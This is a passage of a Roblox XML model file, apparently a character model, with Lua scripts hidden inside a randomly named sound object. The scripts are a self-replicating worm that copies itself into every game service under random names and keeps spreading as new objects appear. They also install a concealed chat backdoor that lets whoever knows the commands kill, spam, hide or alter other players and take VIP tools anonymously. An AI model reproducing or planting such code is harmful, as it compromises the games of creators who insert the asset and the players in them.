jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX279">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-21.3933907</X>
							<Y>1.29855537</Y>
							<Z>-15.1768923</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX280">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX281">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">4k5x03156</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX282">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
